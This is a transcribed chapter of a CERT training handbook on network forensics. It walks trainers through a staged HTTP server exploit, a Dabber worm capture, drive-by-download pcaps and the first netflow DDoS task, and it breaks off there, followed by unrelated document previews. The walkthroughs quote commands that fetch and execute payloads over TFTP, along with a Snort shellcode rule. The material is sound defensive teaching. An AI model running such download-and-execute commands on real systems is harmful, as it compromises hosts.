7. Exercise: Network Forensic

Transcription

1 60 CERT Exercises Handbook 7. Exercise: Network Forensic Main Objective Targeted Audience Total Duration The objective of the exercise is to familiarize students with standard network monitoring tools, their output and applications for the analysis of network security events. As a result, students will be able to interpret the security context of collected network data, thus enabling the post-mortem analysis of security incidents. Technical CERT staff Roughly 6 hours, 30 minutes Introduction to the exercise 15 min. PART 1 PCAP TRACE ANALYSIS SERVER SIDE ATTACK Task 1: Introductory scenario fake web server vulnerability exploitation step-by-step Task 2: Dabber scenario 60 min. 60 min. Time Schedule Frequency PART 2 PCAP TRACE ANALYSIS CLIENT SIDE ATTACK Task 1: Drive-by download without fast flux Task 2: Drive-by download with fast flux PART 3 NETFLOW ANALYSIS Task 1: DDoS analysis step-by-step Task 2: DDoS analysis DIY Summary of the exercise 60 min. 60 min. 60 min. 60 min. 15 min. This exercise should be carried out whenever a new CERT team is being set up or new team members responsible for advanced incident handling join the team. It should be extended regularly to cover new types of attacks. 7.1 GENERAL DESCRIPTION The exercise should be performed as a hands-on class. A short introduction to the field of network forensics should be made. A set of security incident packet traces should be given for analysis. Each packet trace involves a different security scenario, which is presented to the students. For each scenario the goal is to identify security information relevant to a particular incident in the context of an attacked and attacking host or application. It is recommended that the traces include not just malicious traffic but benign traffic as well, so as to mirror real

2 CERT Exercises Handbook life conditions. The packet traces should be in pcap format and in the form of netflow samples. Traces in the pcap format should include examples of full packet payload captures. The students should be allowed access to the Internet and encouraged to use search engines to facilitate their analysis. This handbook contains six examples of attack scenarios. You are encouraged to create your own. Because of the technical nature of this exercise, it is advisable that you, as the trainer, have a lot of experience with analysing packet and flow traces. The examples in the handbook are detailed so as to help you as much as possible. Students require access to the Virtual Image, which contains all the tools and logs necessary for carrying out the exercise. The tools needed for each scenario are listed in the handbook sections devoted to the scenarios. 7.2 EXERCISE COURSE The course of this exercise is as follows. Give a short introduction as to why network forensics is important for CERTs. Proceed then with the outline of the exercise. 7.3 Introduction to the exercise At the beginning, introduce students to the exercise, outlining its main parts and how the exercise will be carried out. This exercise consists of three main parts: PART 1: Pcap trace analysis server side attack; PART 2: Pcap trace analysis client side attack; and PART 3: Netflow analysis. Each part consists of two separate scenarios tasks that need to be carried out. Note that due to the length of the exercise, it is recommended that two full days should be allocated for the exercise. 7.4 PART 1 PCAP TRACE ANALYSIS SERVER SIDE ATTACK The exercise is divided into two separate scenarios (tasks): a demonstration performed by the teacher as the introductory scenario; and network forensics skills training with logs of a real attack. The demonstration prepared for the teacher covers the whole process of the exploitation of a server side service. A specially prepared vulnerable HTTP server was implemented. The server obeys the rules of the HTTP protocol when it receives GET requests. However, whenever a POST request is received, a separate thread is launched to bind a shell to port Assuming that the POST request will inject proper shellcode, from the network standpoint this fake exploitation does not differ from a real one. Shellcode that the binds shell to port was obtained from the Metasploit framework (

3 62 CERT Exercises Handbook During the exploitation process, you should use the wireshark network analyser to capture the traffic. Wireshark will capture all the packets that were received and transmitted on a particular network interface. For a one-machine presentation, the loopback interface is used. The next step in the exercise is a discussion of the consequent stages of the attack as seen through wireshark. For the second exercise, traffic captured on a real honeynet system is used. This traffic contains an example of a Dabber worm attack. Using these logs, students will have to demonstrate their skills at using a network analyser such as wireshark and applying its filters to extract consecutive attack stages. You should play the role of a mentor, helping students and answering their questions Task 1 Introductory scenario fake web server vulnerability exploitation step-bystep The main goal of this exercise is to familiarize students with an example of an attack on a vulnerable HTTP server. The scenario presented in this example is quite common, especially when dealing with attacks carried out automatically, such as worm and botnet infections Preparatory notes The software prepared for the exercise will allow you to demonstrate an attack in real-time. The process of server exploitation can be divided into three stages: connecting to the server and sending data that executes a buffer overflow; connecting to the shell on port and executing commands on the compromised system; and downloading malicious software using the TFTP client. The exact course of the attack can be seen in the data captured by a network sniffer, such as tcpdump or wireshark. Each stage can be singled out by the use of filters, which are built into both of the tools mentioned. The ability to select relevant packets and track connections in pcap dumps is an essential skill in the field of network forensics. The most basic and common cases of filter rules used include: filtering connections from certain hosts, filtering requests targeted to specific servers or services in a specified period of time, and filtering packets by protocol, content and the values of specific protocol fields. Knowledge of how to write basic filters is usually sufficient to retrieve most of information needed. Students are expected to become familiar with the syntax of the rules. This skill is to be mainly assessed in this and the next exercise.

4 CERT Exercises Handbook It is recommended that this exercise be demonstrated in real time. This will raise awareness among students of how easy it is for script kiddies to launch attacks. If, for some reason, a real time presentation of the attack is impossible, the Virtual Image contains a pcap file containing a captured attack (/usr/share/trainer/07_nf/adds/). For the demonstration of the attack, two programs were prepared: a vulnerable HTTP server, and an exploit for the HTTP server. The HTTP server is not fully functional software. It serves only one example WWW site and behaves like a compromised host would whenever it receives a HTTP POST request. It cannot be configured to be used in any production environment. The attack process is as follows: The first step involves establishing a connection and sending a POST message to the HTTP server. The message is not an ordinary POST request but is deliberately crafted to exploit the server s vulnerability. Exploitation causes the opening of a system shell, with its standard input and output directed to a socket bound to port Whoever connects to port of the compromised server may send commands which will be executed. The bound shell runs with the same user s ID and privileges as the HTTP server. After sending a maliciously prepared HTTP request, the exploit waits a few seconds for the port to be opened. It then attempts a connection to the shell. If the connection is successfully established, the following string of commands is sent and executed: cd ~; atftp --get --remote-file exploit ; atftp --get --remote-file hello ; chmod +x hello;./hello As a result of the above, the following actions are executed: current working directory is changed to user s home directory; exploit file is downloaded from the TFTP server; xhttp is downloaded from the TFTP server; xhttp execution bit is set; and xhttp is executed. In this example, the xhttp program does nothing. However, in the case of a real exploit, the software could perform actions such as: obtaining information about the compromised system; communicating with its instances on other exploited machines; and carrying out DDoS attacks, sending spam, etc.

5 64 CERT Exercises Handbook At this stage it is recommended that you give a short introduction to buffer overflow attacks to fully explain such attacks to students Tools necessary for carrying out this exercise The following are the tools necessary for conducting this exercise. These tools can be found on the Virtual Image. http server, exploit (/usr/share/trainer/07_nf/adds/exploit), wireshark, tftp server, and tftp client. Before running the vulnerable HTTP server, make sure that the Apache server has been stopped (remember to restart it again to carry out other exercises later on!): sudo /etc/init.d/apache2 stop To run the server, type: sudo /etc/init.d/http_server The exploits can be found in the exercise directory. The exercise can be demonstrated using one machine only. The attacking machine will have the same IP address as the victim. Further descriptions of the exercise assume that only one machine was used during the exercise, which means that victim s and attacker s IP address is The pcap file attached to this exercise on the Virtual Image (/usr/share/trainer/07_nf/adds/) contains logs of attacks launched from a different IP address than the victim s Step-by-step demonstration Once your introduction to the topic is completed, you should give a step-by-step demonstration of an example attack. The students also have access to all the files and should be encouraged to follow your actions and ask questions. Before launching the exploit, a benign request to the HTTP server can be sent. Run wireshark and start live capture on the loopback interface. Now, run the browser and go to site. This example site is served locally. To increase the amount of benign requests, perform some interaction with this simple site. Please note that the exploit might not work on the server without benign activity beforehand. The exploit will result in the copying of some files from the attacker to the victim machine. Files will be copied to the home directory of the user who ran the HTTP server. As the HTTP server was run with root privileges, the files will be copied to the /root/ directory and all

6 CERT Exercises Handbook actions performed by the compromised server will use the privileges of the super-user. This example shows why services should be run with only a minimal set of privileges! Before running the exploit, check the list of files in the home directory of the root user. In the console, type: ls ~. Now, run the exploit. There are two options to be given: the victim s IP address and the TFTP server IP address. Both addresses are the same as the local loopback interface: Change the working directory to the exercise s directory (/usr/share/trainer/07_nf/adds/) and type./exploit h The consecutive actions that the exploit undertakes will be reported to the console: [*] Connecting to vulnerable HTTP Server...done [*] Sending buffer overflow data...done [*] Attempting to connect to shell: : succeeded [*] Sending commands to compromised server...done [*] Bye! The packets which will have caused this successful exploitation will have been captured by wireshark and can now be investigated. To single out the packets which were sent to the HTTP server, apply the following filter: Figure 1: Wireshark filter The first HTTP request was performed by the web browser. The filter allows the tracking of all the packets that were sent: Source Destination Protocol Info TCP > www [SYN] TCP www > [SYN, ACK] TCP > www [ACK] HTTP GET / HTTP/ TCP www > [ACK] HTTP Continuation or non-http traffic TCP > www [ACK] TCP www > [FIN, ACK] TCP > www [FIN, ACK] TCP www > [ACK] TCP > www [SYN] TCP www > [SYN, ACK]

7 66 CERT Exercises Handbook TCP > www [ACK] HTTP GET /favicon.ico HTTP/ TCP www > [ACK] HTTP Continuation or non-http traffic TCP > www [ACK] TCP www > [FIN, ACK] TCP > www [FIN, ACK] TCP www > [ACK] There are two HTTP requests one for the index.html page and one for the favicon.ico file. A malicious POST request is sent by the exploit: TCP > www [SYN] TCP www > [SYN, ACK] TCP > www [ACK] HTTP POST /inventory-check.cgi HTTP/ TCP www > [ACK] HTTP Continuation or non-http traffic TCP www > [ACK] TCP > www [FIN, ACK] TCP www > [ACK] The fourth packet carries the POST request. The request consists of two packets and the body of the HTTP request carries the actual exploit shellcode which is to be executed. Shellcode is basically a long string of bytes of value 90 followed by almost 90 bytes of assembler instructions. (The first four bytes of the shellcode is the address which overwrites the function return address.) Due to the execution of the shellcode, port is opened with the system shell bound to it. This is the end of the interaction with the HTTP server. As we know that the exploit opens port 12345, the traffic sent to this port can be investigated. To do this, a proper filter should be applied, which will single out all traffic targeted or coming from port 12345: Figure 2: Wireshark filter

8 CERT Exercises Handbook The filter results are as follows: TCP > [SYN] TCP > [SYN, ACK] TCP > [ACK] TCP > [PSH, ACK] TCP > [ACK] TCP > [FIN, ACK] From the packets payload we can see that, after a TCP connection had been initiated, the following string of commands was sent to the shell: cd ~; atftp --get --remote-file exploit ; atftp --get --remote-file hello ; chmod +x hello;./hello We already discussed the meaning of these commands in the previous paragraphs. In the next step, the exploit and XHTTP files are downloaded onto the victim s machine. To see the TFTP protocol packets, apply the following filter: tftp Figure 3: Wireshark tftp filter

9 68 CERT Exercises Handbook To find the names of the files that were downloaded, it is more convenient to apply a filter that shows only the first packet of each TFTP transmission: tftp.source_file Now, list the contents of the root s home directory. The downloaded files, xhttp and exploit, should be there. One of the commands that was executed launched xhttp. Check if this program is still running: ps aux grep xhttp The output should show that a process named xhttp is running. The last point of the presentation of this attack is to check whether an intrusion detection system noticed anything suspicious. The Exercise Virtual Image contains Snort IDS. Alerts are reported in the file /var/log/snort/alert To check the latest alerts, type the command: cat /var/log/snort/alert You should notice one alert: [**] [1: :0] SHELLCODE x86 NOOP [**] [Priority: 0] 06/14-16:35: : > :80 TCP TTL:64 TOS:0x0 ID:51437 IpLen:20 DgmLen:672 DF ***AP**F Seq: 0x2981E148 Ack: 0x6A7EC3DF Win: 0x2E TcpLen: 32 TCP Options (3) => NOP NOP TS: The alert was triggered by the following Snort rule: alert ip any $SHELLCODE_PORTS -> $HOME_NET any (msg: SHELLCODE x86 NOOP ; contentl: ; depth:128; reference:arachnids,181; classtype:shellcodedetect; sid:648; rev:7;) This rule alerts whenever a monitored network receives a packet containing at least 14 consecutive bytes of value 90. The event is triggered due to the fact that such a string is often an indication of a shellcode occurrence. The rule comes from a standard set of Snort rules. If the students are unfamiliar with Snort, describe all the fields of the alert in detail Questions to students Potential questions to students concerning this scenario:

10 CERT Exercises Handbook Q: Does an attack cause a crash of the exploited application? A: Not always. Authors of exploits try to avoid it. This is due to the fact that a crash of an application will sooner or later be noticed by a system administrator or user. Q: How can I know the port that an exploit used for incoming connections? A: It is possible to identify events that stand out from normal network traffic. For instance, any connection incoming to a port that is not used by any service is a potential indicator of an attack. Wireshark filters are very helpful in this field. Assume that there are two services running on a server WWW and SSH. To find out suspicious connections incoming to this server, the following filter can be applied: tcp.dstport!= 80 AND tcp.dstport!= 22 AND tcp.flags.syn ==1 This filter results in displaying the first two packets of every connection (the first packet in TCP protocol always has SYN, and the second SYN and ACK flags) targeted to ports different from the server s standard services. Make sure to restart the Apache server that was stopped at the beginning of this scenario! 7.5 Task 2 Dabber attack scenario The next exercise is for the students to perform by themselves. The students are expected to analyse the log files by themselves and explain what is happening. They should identify the stages of the attack as described below, locate the shellcode, and explain how the attack ended. Why did it end the way it did? Below you will find some answers that will help you help the students Preparatory notes The actions of the Dabber worm were first observed in This worm exploits a vulnerability in the FTP server of the Sasser worm. Consequently, to be infected by Dabber, a machine has to be already infected by Sasser. Sasser is a worm attacking systems from the Windows family. Sasser runs an FTP server on port 5554 of exploited machines which is used to download the worm after a successful initial exploitation. Dabber scans on port 5554 to find Sasser infected hosts. When it finds and exploits one, the Windows command shell is temporarily bound to port This shell is used to issue the following command: tftp I [infecting host ip] GET hello.all package.exe &package.exe & exit The TFTP server is built into Dabber and is used to transfer the executable file of the worm to the target system. When the command is issued, a file package.exe will be copied to the victim and executed. From a network standpoint, the exploit process looks slightly more complicated. The worm connects to port 5554 a few times. The first connection is used to send a single byte (in our

11 70 CERT Exercises Handbook case it is ASCII D ). If the connection is successful, it will reconnect and send the exploit. We can also observe that the worm attempts a connection to port This would be successful on a real compromised machine. However, as this case was captured on a honeynet, exploitation did not cause this port to be opened. Dabber uses port 9898 to recognize infected hosts Attack overview Students are provided with the Dabber pcap file which contains packets from a real example of an attack. Analysis of the attack with wireshark and appropriate filters is to be performed. The attack consists of the following stages: Scanning for port 5554; Test connection to port 5554 with 1-byte data; Reconnect and send the exploit; and Interaction with a shell bound to port The exercise will start with the analysis of traffic targeted to port First, proper packets should be filtered (use filter tcp.port = 5554): Figure 4: Wireshark filter As you can see, the amount of traffic targeted to port 5554 is quite significant. Packets that carry data can be singled out using the filter: tcp.dstport == 5554 AND data This filter will display packets that were sent to the FTP server and carried any data. Let us have a closer look at packet numbers 51, 56 and 65. These packets were used to check if the host had been infected by Sasser. To track the entire connection, right-click on one of these packets and choose option Follow TCP Stream. The result is displayed below:

12 CERT Exercises Handbook Figure 5: Wireshark output As we can see, after a three-way handshake there is only one packet carrying data and the connection closes with FIN flags exchanged by the client and the server. Take a closer look at the filter that was applied after choosing Follow TCP Stream : (ip.addr eq and ip.addr eq ) and (tcp.port eq 3895 and tcp.port eq 5554) This filter may seem complicated but, sometimes, to filter out the desired data, many conditions need to be added. We are interested in packets of a particular IP and TCP port, since this parameter is distinct for every connection in the Internet at one time. Tell the students to look at packets carrying data and sent to port Take a closer look at packet number 117. Its payload is quite similar to the payload demonstrated in the previous exercise, where the HTTP server was exploited. This is actually where the exploit sends the shellcode and data to overflow a buffer.

13 72 CERT Exercises Handbook Figure 6: Wireshark output The exploitation phase has already been reached. Follow the communication between the attacker and the victim. Since now you know the IP address of the attacker, apply a filter that will result in packets sent to the victim: ip.dst ==

14 CERT Exercises Handbook Figure 7: Wireshark output The next interesting connection starts with packet number 141. The following TCP stream shows the data exchanged when the Windows shell commands were issued. (To see this window, right-click on one of these packets and choose the option Follow TCP Stream.) Figure 8: TCP stream A close look at the packets sent to port 8967 reveals that the exploit tried to connect to the shell more than once. However, after the exit command was issued to the shell, there was no server listening on this port and connections with the RST packet were refused immediately. As was mentioned Dabber uses 9898 port to find infected hosts. So let s apply the following filter: tcp.dstport == 9898 The result shows that the attacker attempted a connection to this port. However, as mentioned earlier, this attack was captured on a honeynet which offered a limited level of interaction with the exploit. Due to this, the connections to this port were refused. 7.6 PART 2 PCAP TRACE ANALYSIS CLIENT SIDE ATTACK The second part of the exercise involves scenarios that include client side drive-by-download attacks. You should give a short introduction to these kinds of attacks. The pcap files that contain these attacks are present on the Virtual Image. Students are required to perform the exercises based around the following questions: a) What happened (step-by-step)?

15 74 CERT Exercises Handbook b) Has the host been infected? If yes, what type of malware is it? c) How is the attack being carried out? d) What domains and IPs are involved in the attack? Is there any possibility of fast-flux? e) How could we mitigate the attack? The students should use the knowledge acquired from the previous part of the exercise to analyse these attacks properly Task 1 Drive-by download without fast flux In the first example, we are dealing with a drive-by download from a non-fast flux domain. Use wireshark and the /usr/share/trainer/07_nf/adds/drive-by-download_t.pcap file Q 1 What happened? From pcap file we can surmise that: 1. client host IP is , and 2. DNS-server is Note: There are three other connections, all benign: connection to ( ), connection to ( ), and connection to urs.microsoft.com via HTTPS ( ). As traffic could be treated like background traffic, it is strongly recommended that it be filtered. In wireshark, use the filter:!((ip.dst == ) (ip.src == ) (ip.dst == ) (ip.src == ) (ip.dst == ) (ip.src == )) Q 2 Has the host been infected? There were three suspicious W32 binary file downloads from two different sites. In the first case, two files of different sizes were downloaded (the first one was smaller about 13KB, and the second one larger about 99KB). In the second case there was one download (file size was about 26KB). There is a strong possibility that the downloaded files are W32 infected EXEs. Using wireshark, find where the download of the binary file ends and TCP segments are reassembled (packets number 602, 714 and 806). Use export selected bytes on the Media

16 CERT Exercises Handbook Type section and save as an.exe file. Now you have these three suspected W32 binary files. If you have an Internet connection, send them for analysis to VirusTotal < or/and Anubis < or/and Norman SandBox < 1st exe file: <<see drive-by-download_t_vt_1st-exe-file.pdf>> a trojan/dropper/downloader 2nd exe file: <<see drive-by-download_t_vt_2nd-exe-file.pdf>> a trojan/fake alert 3rd exe file: <<see drive-by-download_t_vt_3rd-exe-file.pdf>> a rootkit (Files available on the Virtual Image /usr/share/trainer/07_nf/adds/) Q 3 How is the attack being carried out? Strongly obfuscated JavaScripts (multiple) and iframe tags (once) are used to redirect to the next hop and set cookies or other markers/stamps/variables. Some JavaScripts are located in the HEAD section of the HTML file and their functions have been triggered with special arguments via onload events in the BODY section of the HTML file Q 4 What domains and IPs are involved in the attack? is the only site our client host visited intentionally. Its IP resolves to and, as we look at the DNS-server response, this was not fast-flux. Next the client host was redirected to two different sites, winhex.org/tds/in.cgi?3 ( , no fast-flux) and 1sense.info/t/ ( , no fast-flux), and from them to another, jezl0.com ( , no fast-flux) and Malware has probably been downloaded directly from the last two sites. We have not seen examples of fast-flux Q 5 What could we do to mitigate the attack? We could blackhole IPs from which the malware was downloaded directly ( and ). There is a possibility that these IPs often change (in the middle of the redirection process). We could also blackhole the first site ( ), which the client host visited intentionally, but this site might actually be a victim of an attack (XSS, SQL-injection, etc.) and its malicious function is not permanent. We could also blackhole IPs that are in the middle of a redirection process ( , ). They are pointing to servers which are hosting malicious files. The pointers (that redirect to malware-hosted sites) may change. We could also blacklist sites (domain names) in the same scenario as above (ie, DNS blackholing).

17 76 CERT Exercises Handbook 7.7 Task 2 Drive-by download with fast flux In this task, the students should perform the investigation in a similar manner to the previous scenario. The necessary file (drive-by-download_fast-flux.pcap) can be found on the Virtual Image Q 1 What happened? From the pcap file we can surmise that: Note: 1. client host IP is , and 2. DNS-server is There are three other benign connections: connection to ( ), connection to ( ), and connection to urs.microsoft.com via HTTPS ( ). This traffic should be treated like background traffic, so it is strongly recommended to filter it. In wireshark, use this as a filter:!((ip.dst == ) (ip.src == ) (ip.dst == ) (ip.src == ) (ip.dst == ) (ip.src == )) Q 2 Has the host been infected? A suspected W32 binary file was downloaded from ( ). There is a strong possibility that the downloaded file was a W32 malware EXE (file size about bytes). From the pcap file we can surmise that the name of the downloaded file is exe.exe (HTTP header Content-Disposition ). In the binary file body we can find: Original Filename aspimgr.exe. Use wireshark to find where the download of the binary file ends and TCP segments are reassembled (packet number 568). Use export selected bytes on the Media Type section and save as an.exe file. If you have an Internet connection, send these for analysis to VirusTotal < or/and Anubis < or/and Norman SandBox < The file is <<see drive-by-download_fast-flux_vt_exe-file.pdf >> Trojan/Agent/Rootkit/Backdor/Downloader (depending on av vendor).

18 CERT Exercises Handbook Next, there were several connections (after the download was ended). The first was to ns.uk2.net to 53/TCP destination port (?!). The next was to yahoo.com (reset by client host), and the next to web.de (reset by client host). Next, the client host connected to and sent some data to php script forum.php (POST method, file debug.txt), and then downloaded common.bin. This file is suspicious Q 3 How is the attack being carried out? In the attack the following redirection methods and obfuscation was used: HTTP message 302 (moved temporarily). HTTP message 301 (moved permanently). Strongly obfuscated JavaScript. Its functions have been triggered with special arguments via an onload event in the BODY section. These <SCRIPT> and <BODY> tags are located before the <HTML> tag! In the <HTML> tag (below these two) there is a fake 404 message with the text: The requested URL /index.php were not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an Error Document to handle the request. After the binary file download was completed, the client sent some data (debug.txt) to php script (forum.php) via the POST method. In reply, the client received a suspicious common.bin file Q 4 What domains and IPs are involved in the attack? bigadnet.com is the only site that our client host visited intentionally. As can be seen from the DNS-server response, this was fast-flux and the sites IPs are: , , , , , , , , , etc. The client host established a connection to the first IP in the DNS response ( ). Next, the client host was redirected to It is also a fast-flux site and the sites IPs are: , , , , , , , etc. The client host established a connection to the 3rd IP ( ). The first two connection attempts to the earlier IPs failed. Malware was downloaded from this host. Next, the client host connected to , sent some data (DEBUG..TXT) to forum.php, and received some suspicious data (COMMON.BIN) Q 5 What could we do to mitigate the attack? Blackholing an IP from which the malware was downloaded directly ( ) is not a good idea, because the miscreants use fast-flux. Even if you blackhole all IPs that replied from the DNS servers, there is a possibility that new IPs will appear. These IPs are most probably

19 78 CERT Exercises Handbook the victims of attack (zombie PCs). There is only one IP that was not fetched from a NS server: you could blackhole it. It is better to blacklist domain names: bigadnet.com and Evaluation metrics Below are some suggested metrics for this part of the exercise : Students MUST: know the host IP and that three binary files (W32) were downloaded; and know the IP and domain names involved in the attack. NOTE: the benign sites (legal traffic) should also be known. Students SHOULD: know how the attack was carried out; sketch the proceedings (flow chart?) of the attack (as in the PDF files on the DVD); generate a filter in wireshark that gives a clear view of the malicious traffic; and be able to identify whether fast-flux service networks were involved. Students COULD: present ideas on how to prevent further attacks; and attempt to research malicious JavaScripts (how they work), gathering any information about the binary file and its body from the pcap file using wireshark, extracting binaries to.exe files and analysing them, etc, although this is beyond the scope of this particular exercise. 7.9 PART 3 NETFLOW ANALYSIS The aim of the netflow scenarios is to familiarize students with the concept of netflow and introduce them to tools that facilitate flow interpretation. Even though netflow does not allow for the examination of packet content, it is a useful mechanism for network forensics, allowing a unique view of what activity was seen at the router level. Netflow can be used to discover and examine DDoS attacks, worm infections, and scanning activity, to verify incident reports, and obtain hints as to how a host was compromised and its subsequent behaviour may be monitored, etc Preparatory notes You should give a short introduction on how netflow works. The scenarios require computers capable of using provided virtual image. This installation has a set of tools and netflow logs that allow the exercises to be carried out. The tools used are nfdump and NFSen, developed by SWITCH. The tools are configured for the scenarios. The netflow logs are logs of real attacks that have been anonymized. They feature a mixture of malicious and benign traffic.

20 CERT Exercises Handbook You should have experience with analysing flows and the nfdump/nfsen tools. As in the previous parts, this part is split into two different scenarios (tasks); both are DDoS attacks Task 1 DDoS analysis step-by-step A netflow collector installation is setup with a profile for monitoring a specific IP space. The student plays the role of an administrator working for an ISP that has received a report about a DDoS being carried out against a customer. The administrator is expected to: a) identify when the attack began; b) identify what is actually being attacked; c) identify what IPs are involved in carrying out the attack; d) identify the way the attack is being carried out; e) identify where the attack came from; and f) suggest ways of mitigating the attack at the ISP level. What follows is a step-by-step analysis of the above tasks. Using nfdump/nfsen you can perform the analysis by either utilizing the command line interface (more suitable for bulk processing) or the graphic interface. Examples of using both interfaces are presented. Make sure that the Apache server is running. Run the nfsen_start script available on your Virtual Image Desktop (you can click on it) Q 1 When did the attack begin? GUI: Open the web-browser and go to For a better view you can go to the Graphs tab. You can see a huge increase near Feb :00: Figure 9: Network graph CLI: Go to the directory /data/nfsen/profiles-data/live/upstream and the list netflow files (nfcapd.*): use ls l (or more human-readable: ls lh)

Exercise 7 Network Forensics What Will You Learn? The network forensics exercise is aimed at introducing you to the post-mortem analysis of pcap file dumps and Cisco netflow logs. In particular you will:

www.enisa.europa.eu About ENISA The European Union Agency for Network and Information Security (ENISA) is a centre of network and information security expertise for the EU, its member states, the private

www.enisa.europa.eu About ENISA The European Union Agency for Network and Information Security (ENISA) is a centre of network and information security expertise for the EU, its member states, the private

HoneyBOT User Guide A Windows based honeypot solution Visit our website at http://www.atomicsoftwaresolutions.com/ Table of Contents What is a Honeypot?...2 How HoneyBOT Works...2 Secure the HoneyBOT Computer...3

License Intrusion Detection and Prevention: Network and IDS Configuration and Monitoring using Snort This work by Z. Cliffe Schreuders at Leeds Metropolitan University is licensed under a Creative Commons

CMSC 355 Lab 3 : Penetration Testing Tools Due: September 31, 2010 In the previous lab, we used some basic system administration tools to figure out which programs where running on a system and which files

18 th Annual FIRST Conference June 25-30, 2006 Baltimore Peter Haag 2006 SWITCH Some operational questions, popping up now and then: Do you see this peek on port 445 as well? What caused this peek on your

Watch your Flows with NfSen and NFDUMP 50th RIPE Meeting May 3, 2005 Stockholm Peter Haag 2005 SWITCH What I am going to present: The Motivation. What are NfSen and nfdump? The Tools in Action. Outlook

Networks & Security Course Web of Trust and Network Forensics Virtual Machine Virtual Machine Internet connection You need to connect the VM to the Internet for some of the Web of Trust exercises. Make

Penetration Testing with Kali Linux PWK Copyright 2014 Offensive Security Ltd. All rights reserved. Page 1 of 11 All rights reserved to Offensive Security, 2014 No part of this publication, in whole or

Firewall August, 2003 1 Firewall and Access Control This product also serves as an Internet firewall, not only does it provide a natural firewall function (Network Address Translation, NAT), but it also

2 Denial of Service Attacks : IT Security Sirindhorn International Institute of Technology Thammasat University Prepared by Steven Gordon on 13 August 2013 its335y13s2l06, Steve/Courses/2013/s2/its335/lectures/malicious.tex,

Wireshark Deep packet inspection with Wireshark Wireshark is a free and open-source packet analyzer. It is commonly used to troubleshoot network issues and analysis. Originally named Ethereal, in May 2006

Laboratory for Computer Security Education 1 Attack Lab: Attacks on TCP/IP Protocols Copyright c 2006-2010 Wenliang Du, Syracuse University. The development of this document is funded by the National Science

CSE 3482 Introduction to Computer Security Denial of Service (DoS) Attacks Instructor: N. Vlajic, Winter 2015 Learning Objectives Upon completion of this material, you should be able to: Explain the basic

Lab Exercise SSL/TLS Objective To observe SSL/TLS (Secure Sockets Layer / Transport Layer Security) in action. SSL/TLS is used to secure TCP connections, and it is widely used as part of the secure web:

Session Hijacking Exploiting TCP, UDP and HTTP Sessions Shray Kapoor shray.kapoor@gmail.com Preface With the emerging fields in e-commerce, financial and identity information are at a higher risk of being

the Availability Digest @availabilitydig Surviving DNS DDoS Attacks November 2013 DDoS attacks are on the rise. A DDoS attack launches a massive amount of traffic to a website to overwhelm it to the point

Websense Web Security Gateway: What to do when a Web site does not load as expected Websense Support Webinar November 2011 web security data security email security Support Webinars 2009 Websense, Inc.

Lab Exercise SSL/TLS Objective To observe SSL/TLS (Secure Sockets Layer / Transport Layer Security) in action. SSL/TLS is used to secure TCP connections, and it is widely used as part of the secure web:

Automating Linux Malware Analysis Using Limon Sandbox Monnappa K A monnappa22@gmail.com A number of devices are running Linux due to its flexibility and open source nature. This has made Linux platform

Network Intrusion Analysis (Hands-on) TCP/IP protocol suite is the core of the Internet and it is vital to understand how it works together, its strengths and weaknesses and how it can be used to detect

Introduction The Network Vulnerabilities module provides you with the instruction and Server hardware to develop your hands on skills in the defined topics. This module includes the following exercises:

LAB THREE STATIC ROUTING In this lab you will work with four different network topologies. The topology for Parts 1-4 is shown in Figure 3.1. These parts address router configuration on Linux PCs and a

USING WIRESHARK TO CAPTURE AND ANALYZE NETWORK DATA CPSC 441 TUTORIAL JANUARY 30, 2012 TA: RUITING ZHOU The content of these slides are taken from CPSC 526 TUTORIAL by Nashd Safa (Extended and partially

95 95 9. Exercise: Large Scale Incident Handling Main Objective Targeted Audience Total Duration Time Schedule The main objective of the exercise is to teach incident handlers the key information and actions

Lab VI Capturing and monitoring the network traffic 1. Goals To gain general knowledge about the network analyzers and to understand their utility To learn how to use network traffic analyzer tools (Wireshark)

SECURING APACHE : DOS & DDOS ATTACKS - II How DDoS attacks are performed A DDoS attack has to be carefully prepared by the attackers. They first recruit the zombie army, by looking for vulnerable machines,

TCP/IP Concepts Review Ed Crowley 1 Objectives At the end of this unit, you will be able to: Describe the TCP/IP protocol stack For each level, explain roles and vulnerabilities Explain basic IP addressing

EINTE LAB EXERCISES LAB EXERCISE #5 - SIP PROTOCOL PREPARATIONS STUDYING SIP PROTOCOL The aim of this exercise is to study the basic aspects of the SIP protocol. Before executing the exercise you should

Scanning Tools The goal of the scanning phase is to learn more information about the target environment and discover openings by interacting with that target environment. This paper will look at some of

Snoopy Due Date: Nov 1 Points: 25 Points Objective: To gain experience intercepting/capturing HTTP/TCP traffic on a network. Equipment Needed Use the Ubuntu OS that you originally downloaded from the course

29 29 4. Exercise: Developing CERT Infrastructure Main Objective Targeted Audience Total Duration To learn what kind of software and hardware solutions could be used to provide a particular CERT service

Objectives After reading this chapter and completing the exercises, you will be able to: Overview of TCP/IP Describe the TCP/IP protocol stack Explain the basic concepts of IP addressing Explain the binary,

CERT Exercises Toolset 91 9. Exercise: Large Scale Incident Handling Main Objective Targeted Audience Total Duration Time Schedule Frequency The main objective of the exercise is to teach incident handlers

Lab Exercise TCP Objective To see the details of TCP (Transmission Control Protocol). TCP is the main transport layer protocol used in the Internet. The trace file is here: http://scisweb.ulster.ac.uk/~kevin/com320/labs/wireshark/trace-tcp.pcap

TCP SYN Flood - Denial of Service Seung Jae Won University of Windsor wons@uwindsor.ca Abstract TCP SYN flooding attack is a kind of denial-of-service attack. This SYN flooding attack is using the weakness

CYBER ATTACKS EXPLAINED: PACKET CRAFTING Protect your FOSS-based IT infrastructure from packet crafting by learning more about it. In the previous articles in this series, we explored common infrastructure

Introduction of Intrusion Detection Systems Why IDS? Inspects all inbound and outbound network activity and identifies a network or system attack from someone attempting to compromise a system. Detection:

Snort Lab Purpose: In this lab, we will explore a common free Intrusion Detection System called Snort. Snort was written initially for Linux/Unix, but most functionality is now available in Windows. In

Page 1 of 5 1. Introduction The present document explains about common attack scenarios to computer networks and describes with some examples the following features of the MilsGates: Protection against

Deploy the ExtraHop Discover Appliance with Hyper-V 2016 ExtraHop Networks, Inc. All rights reserved. This manual, in whole or in part, may not be reproduced, translated, or reduced to any machine-readable